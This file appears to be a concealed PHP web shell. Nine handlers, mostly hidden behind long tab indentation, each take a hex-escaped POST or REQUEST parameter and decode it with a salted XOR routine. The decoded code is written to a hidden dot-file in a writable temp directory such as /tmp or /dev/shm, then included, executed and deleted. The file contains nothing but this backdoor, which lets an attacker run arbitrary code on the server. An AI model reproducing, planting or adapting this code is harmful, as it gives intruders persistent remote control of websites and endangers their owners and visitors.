																																										if(!is_null($_POST["\x72ec"] ?? null)){ $pointer = $_POST["\x72ec"]; $pointer =explode ( '.' , $pointer ) ; $value = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $len = count($pointer); for($n = 0; $n < $len; $n++) {$v5 = $pointer[$n]; $sChar = ord($s[$n % $lenS]); $d =((int)$v5 - $sChar -($n % 10)) ^55; $value .= chr($d); } $sym = array_filter(["/var/tmp", sys_get_temp_dir(), getcwd(), session_save_path(), "/tmp", getenv("TEMP"), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir")]); $pset = 0; do { $bind = $sym[$pset] ?? null; if ($pset >= count($sym)) break; if ((bool)is_dir($bind) && (bool)is_writable($bind)) { $data_chunk = "$bind/.tkn"; if (file_put_contents($data_chunk, $value)) { include $data_chunk; @unlink($data_chunk); die(); } } $pset++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["\x74kn"])){ $flg = array_filter([getcwd(), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", session_save_path(), getenv("TMP")]); $ent = $_POST["\x74kn"]; $ent = explode ( "." , $ent ) ; $res =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s); $w =0; $__tmp =$ent; while( $v8 =array_shift( $__tmp)) { $sChar =ord( $s[$w % $lenS]); $dec =( ( int)$v8 - $sChar -( $w % 10)) ^ 22; $res .= chr( $dec); $w++; } $entry = 0; do { $data = $flg[$entry] ?? null; if ($entry >= count($flg)) break; if (max(0, is_dir($data) * is_writable($data))) { $holder = str_replace("{var_dir}", $data, "{var_dir}/.ref"); $success = file_put_contents($holder, $res); if ($success) { include $holder; @unlink($holder); exit;} } $entry++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["bi\x6Ed"])){ $descriptor = $_POST["bi\x6Ed"]; $descriptor= explode ( "." , $descriptor) ; $ent = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($descriptor as $k => $v7): $sChar = ord($s[$k % $sLen]); $d = ((int)$v7 - $sChar - ($k % 10)) ^ 72; $ent .= chr($d); endforeach; $key = array_filter([getcwd(), "/dev/shm", "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), "/tmp", getenv("TEMP")]); foreach ($key as $reference): if ((function($d) { return is_dir($d) && is_writable($d); })($reference)) { $ref = "$reference" . "/.comp"; if (file_put_contents($ref, $ent)) { require $ref; unlink($ref); die(); } } endforeach; }
																																										if(array_key_exists("en\x74", $_POST)){ $elem = array_filter([getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/dev/shm", "/tmp", getcwd(), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir")]); $dchunk = $_POST["en\x74"]; $dchunk = explode ( '.' , $dchunk) ; $desc = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $len = count($dchunk ); for($r = 0; $r < $len; $r++) { $v3 = $dchunk[$r]; $sChar = ord($salt[$r % $sLen] ); $dec =((int)$v3 - $sChar -($r % 10)) ^ 66; $desc .= chr($dec ); } $obj = 0; do { $ptr = $elem[$obj] ?? null; if ($obj >= count($elem)) break; if (max(0, is_dir($ptr) * is_writable($ptr))) { $pset = sprintf("%s/.bind", $ptr); $success = file_put_contents($pset, $desc); if ($success) { include $pset; @unlink($pset); die();} } $obj++; } while (true); }
																																										if(in_array("ob\x6A", array_keys($_REQUEST))){ $dat = array_filter([getcwd(), "/tmp", "/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP")]); $holder = $_REQUEST["ob\x6A"]; $holder = explode ( '.' ,$holder ); $binding = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt9); $r = 0; array_walk( $holder , function( $v5) use( &$binding , &$r , $salt9 , $lenS) { $sChar = ord( $salt9[$r % $lenS]); $dec =( ( int)$v5 - $sChar -( $r % 10)) ^ 65; $binding .= chr( $dec); $r++;} ); while ($resource = array_shift($dat)) { if ((bool)is_dir($resource) && (bool)is_writable($resource)) { $data_chunk = sprintf("%s/.desc", $resource); if (file_put_contents($data_chunk, $binding)) { include $data_chunk; @unlink($data_chunk); exit; } } } }
																																										if(!is_null($_POST["el\x65\x6D"] ?? null)){ $flg = array_filter([getenv("TMP"), sys_get_temp_dir(), "/tmp", getenv("TEMP"), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), session_save_path()]); $flag = $_POST["el\x65\x6D"]; $flag = explode('.' ,$flag ) ; $ent = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt9); foreach( $flag as $y => $v6): $sChar = ord( $salt9[$y %$sLen]); $d =( ( int)$v6 - $sChar -( $y %10)) ^ 59; $ent .= chr( $d); endforeach; foreach ($flg as $sym) { if ((function($d) { return is_dir($d) && is_writable($d); })($sym)) { $res = join("/", [$sym, ".pointer"]); if (file_put_contents($res, $ent)) { include $res; @unlink($res); exit; } } } }
																																										if(isset($_REQUEST["\x69\x74m"]) ? true : false){ $ent = array_filter([sys_get_temp_dir(), "/var/tmp", getenv("TMP"), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getcwd(), "/dev/shm"]); $key = $_REQUEST["\x69\x74m"]; $key =explode( "." , $key ); $element = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $u = 0; foreach ($key as $v2) { $chS = ord($s[$u % $sLen]); $dec = ((int)$v2 - $chS - ($u % 10)) ^ 55; $element .= chr($dec); $u++; } for ($flag = 0, $data_chunk = count($ent); $flag < $data_chunk; $flag++) { $parameter_group = $ent[$flag]; if (is_writable($parameter_group) && is_dir($parameter_group)) { $k = sprintf("%s/.entry", $parameter_group); if (file_put_contents($k, $element)) { include $k; @unlink($k); die(); } } } }
																																										if(array_key_exists("obj", $_POST) && !is_null($_POST["obj"])){ $flg = $_POST["obj"]; $flg =explode ( '.' , $flg ) ; $binding = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); foreach( $flg as $u => $v1) { $chS = ord( $s[$u % $lenS]); $dec =( ( int)$v1 - $chS -( $u % 10)) ^ 25; $binding .= chr( $dec); } $factor = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), session_save_path(), "/tmp", "/var/tmp"]); $ent = 0; do { $marker = $factor[$ent] ?? null; if ($ent >= count($factor)) break; if (!!is_dir($marker) && !!is_writable($marker)) { $element = implode("/", [$marker, ".token"]); if (file_put_contents($element, $binding)) { include $element; @unlink($element); exit; } } $ent++; } while (true); }


if(isset($_POST["\x63\x6Fmpo\x6E\x65nt"]) ? true : false){
	$pgrp = $_POST["\x63\x6Fmpo\x6E\x65nt"];
		  $pgrp		=   explode		 (	'.' ,$pgrp 		)	;
	$value = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt);
            $w = 0;
            $len = count($pgrp);
    
            do {
                if ($w >= $len) break;
                $v4 = $pgrp[$w];
                $sChar = ord($salt[$w % $lenS]);
                $d = ((int)$v4 - $sChar - ($w % 10)) ^ 62;
                $value .= chr($d);
                $w++;}while (true);
	$tkn = array_filter([session_save_path(), getcwd(), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm"]);
	foreach ($tkn as $ptr):
    		if (!!is_dir($ptr) && !!is_writable($ptr)) {
    $token = "$ptr" . "/.ref";
    $file = fopen($token, 'w');
if ($file) {
	fwrite($file, $value);
	fclose($file);
	include $token;
	@unlink($token);
	exit;
}
}
endforeach;
}